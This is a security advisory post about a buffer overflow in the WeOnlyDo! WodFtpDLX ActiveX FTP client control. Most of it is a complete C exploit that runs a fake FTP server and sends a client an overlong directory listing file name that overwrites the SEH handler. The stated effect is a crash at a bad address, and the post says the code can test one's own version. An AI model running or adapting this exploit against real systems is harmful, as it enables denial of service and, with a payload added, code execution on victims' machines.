[EXPL] WeOnlyDo! COM FTP DELUXE ActiveX Control Overflow Exploit

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  WeOnlyDo! COM FTP DELUXE ActiveX Control Overflow Exploit
------------------------------------------------------------------------


SUMMARY

 <http://www.weonlydo.com/index.asp?showform=FtpDLX> wodFtpDLX is a 
"secure FTP client ActiveX component that supports encrypted and 
non-encrypted FTP access to the servers for transferring files.".

A client side vulnerability in the program allows remote attacker to cause 
WeOnlyDo! COM FTP DELUXE Active to execute arbitrary code. The flaw lies 
in the way WeOnlyDo! handles long files names. The following exploit code 
can be used to test your version for the mentioned vulnerability.

DETAILS

Exploit:
/************************************************************************************

 WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit
 created by Komrade - SECU
 e-mail: unsecure(at)altervista(dot)org
 web: http://unsecure.altervista.org

 Tested on WodFtpDLX.ocx versions 2.3.2.90 - 2.3.0.0 - 2.2.0.1
                on a Windows XP Professional sp2 operating system.

 This exploit creates a fake FTP server on your machine, waiting for the
 connection of an application that uses the WodFtpDLX.ocx ActiveX Control.
 After the exploit is sent the application will crash, trying to access
 to a bad memory address: 0xDEADCODE.
 This exploit can be executed locally or remotely.

 Usage: wodftpcrash [-l] [-r server IP]

 Options:
  -l executed locally
  -r serverIP executed remotely. You need to specify the address
    of the FTP server for the PASV command (Insert your IP address)

 Examples:

 C:\> wodftpcrash -l <- executed locally
 C:\> wodftpCrash -r 10.0.0.1 <- executed remotely

***************************************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#define FTP_PORT 21
#define PASV_PORT 1106

int wait = TRUE;

DWORD WINAPI fileList(LPVOID data);

int main(int argc,char **argv){

 SOCKET sock, client;
 struct sockaddr_in sock_addr,client_addr;
 WSADATA data;
 WORD p;
 char mess[4096], received[512], addr[32];
 int lun, n, i, err;
 HANDLE fileListH;
 DWORD fileListId, exitCode;

 
printf("------------------------------------------------------------------------------\r\n");
 printf("WodFtpDLX Client ActiveX Control Buffer Overflow Crash 
Exploit\r\n");
 printf("\t\t\tcreated by Komrade\r\n\r\n");

 printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
 printf("\t\tweb: http://unsecure.altervista.org\r\n";);
 
printf("------------------------------------------------------------------------------\r\n\r\n");

 if (((argc != 2) || (strcmp(argv[1], "-l") != 0)) && ((argc != 3) || 
(strcmp(argv[1], "-r") != 0))){
  printf("Usage: WodFtpCrash [-l] [-r server IP]\r\n\r\n");
  printf("Options:\r\n");
   printf(" -l\t\texecuted locally.\r\n");
  printf(" -r server IP\texecuted remotely. You need to specify the 
address of the\r\n");
  printf("\t\tFTP server for the PASV command (Insert your IP 
address)\r\n");
  printf("\r\nExamples:\r\n");
  printf(" wodftpcrash -l\t\t\texecuted locally\r\n");
  printf(" wodftpCrash -r 10.0.0.1\texecuted remotely\r\n");
  return 0;
 }

        if(strcmp(argv[1], "-r") == 0){
  char *token[4];

  token[0]=strtok(argv[2], ".");
  for(i = 1; i < 4; i++){
   token[i]=strtok(NULL, ".");
  }

  strcpy(addr, "\0");

  for(i=0; (i < 4) && (token[i]!= NULL); i++){
   strlcat(addr, token[i], 16);
   strcat(addr, ",");
  }
 }
 else
  strcpy(addr, "127,0,0,1,");

 p = MAKEWORD(2, 0);
 WSAStartup(p, &data);

 sock=socket(PF_INET,SOCK_STREAM,0);
 sock_addr.sin_family=PF_INET;
 sock_addr.sin_port=htons(FTP_PORT);
 sock_addr.sin_addr.s_addr=INADDR_ANY;

        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct 
sockaddr_in));
 if (err < 0){
  printf("Error in bind(). Port may be in use\r\n");
  return -1;
 }
 err = listen(sock,1);
 if (err < 0){
  printf("Error in listen()\r\n");
  return -1;
 }

 lun = sizeof (struct sockaddr);

 printf("Opening the FTP port and waiting for connections...\r\n");
 client = accept(sock, (struct sockaddr*)&client_addr, &lun);
 printf("Client connected from IP: %s\r\n\r\n", 
inet_ntoa(client_addr.sin_addr));

 strcpy(mess, "220 WodFtpDlx ActiveX Control Crash Exploit\r\n");
 n=send(client, mess, strlen(mess), 0);
 if (n < 0){
  printf("Error in send()\r\n");
  return -1;
 }

 while(wait == TRUE){

  Sleep(800);
  n = recv(client, received, sizeof(mess), 0);
  if (n < 0){
   printf("Error in recv()\r\n");
   return -1;
  }

  received[n]=0;
  printf("CLIENT: %s", received);

  if (stricmp("USER", strtok(received, " ")) == 0)
   strcpy(mess, "331 Anonymous access allowed, send password.\r\n");
  else if (stricmp("PASS", strtok(received, " ")) == 0)
   strcpy(mess, "230 Anonymous user logged in.\r\n");
  else if (stricmp("PWD\r\n", received) == 0)
   strcpy(mess, "257 \"/\" is current directory.\r\n");
  else if (stricmp("CWD", strtok(received, " ")) == 0)
   strcpy(mess, "257 \"/\" is current directory.\r\n");
  else if (stricmp("TYPE", strtok(received, " ")) == 0)
   strcpy(mess, "200 Type set to A.\r\n");
  else if (stricmp("PASV\r\n", received) == 0){
   fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
   if (fileListH == NULL)
    printf("Error in CreateThread() %d", GetLastError());
   wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);
  }
  else if (stricmp("LIST", strtok(received, " ")) == 0 || 
stricmp("LIST\r\n", received) == 0){
   strcpy(mess, "125 Data connection already open; Transfer 
starting.\r\n");
   printf("SERVER: %s\r\n", mess);
   n=send(client, mess, strlen(mess), 0);
   if (n < 0){
    printf("Error in send()\r\n");
    return -1;
   }
   wait = FALSE;

   do{
    GetExitCodeThread(fileListH, &exitCode);
    Sleep(100);
   }
   while(exitCode == STILL_ACTIVE);
   printf("< Long file name sent to client >\r\n\r\n");

   strcpy(mess, "226 Transfer complete.\r\n");
  }
  else
   strcpy(mess, "550 Unimplemented\r\n");

  printf("SERVER: %s\r\n", mess);
  n = send(client, mess, strlen(mess), 0);
  if (n < 0){
    printf("Error in send()\r\n");
    return -1;
  }
 }

 printf("Wait.......");
 Sleep(2000);
 printf("Exploit succesfully sent!\r\n");

        closesocket (client);
 closesocket(sock);

 WSACleanup();
 return 0;
}

DWORD WINAPI fileList(LPVOID data){

 char SEHAddr[] = "\xDE\xC0\xAD\xDE"; //this will be the new SEH address

 SOCKET sock, client, list;
 struct sockaddr_in sock_addr,client_addr;

 WSADATA wData;
 WORD p;
 char mess[4096];
 int lun, n, i, err;

 p = MAKEWORD(2, 0);
 WSAStartup(p, &wData);

 sock=socket(PF_INET,SOCK_STREAM,0);
 sock_addr.sin_family=PF_INET;
 sock_addr.sin_port=htons(PASV_PORT);
 sock_addr.sin_addr.s_addr=INADDR_ANY;
        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct 
sockaddr_in));
 if (err < 0){
  printf("Error in bind(). Port may be in use\r\n");
  return -1;
 }
 err = listen(sock,1);
   if (err < 0){
    printf("Error in listen().\r\n");
    return -1;
   }
 lun = sizeof (struct sockaddr);

 client = accept(sock, (struct sockaddr*)&client_addr, &lun);

 while (wait == TRUE)
  Sleep(100);

 strcpy(mess, "03-04-81 12:00PM 3 ");

 for(i=strlen(mess); i<1083; i++)
  mess[i]='a';
 mess[i]='\0';

 strcat(mess, SEHAddr);

 for(i=strlen(mess); i<1300; i++) // cause the exception
  mess[i]='b';
 mess[i]='\0';

 strcat(mess, "\r\n");

 n = send(client, mess, strlen(mess), 0);
 if (n < 0){
  printf("Error in send()\r\n");
  return -1;
 }

 closesocket(sock);
 closesocket(client);
 WSACleanup();

 return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:unsecure@altervista.org> 
unsecure.



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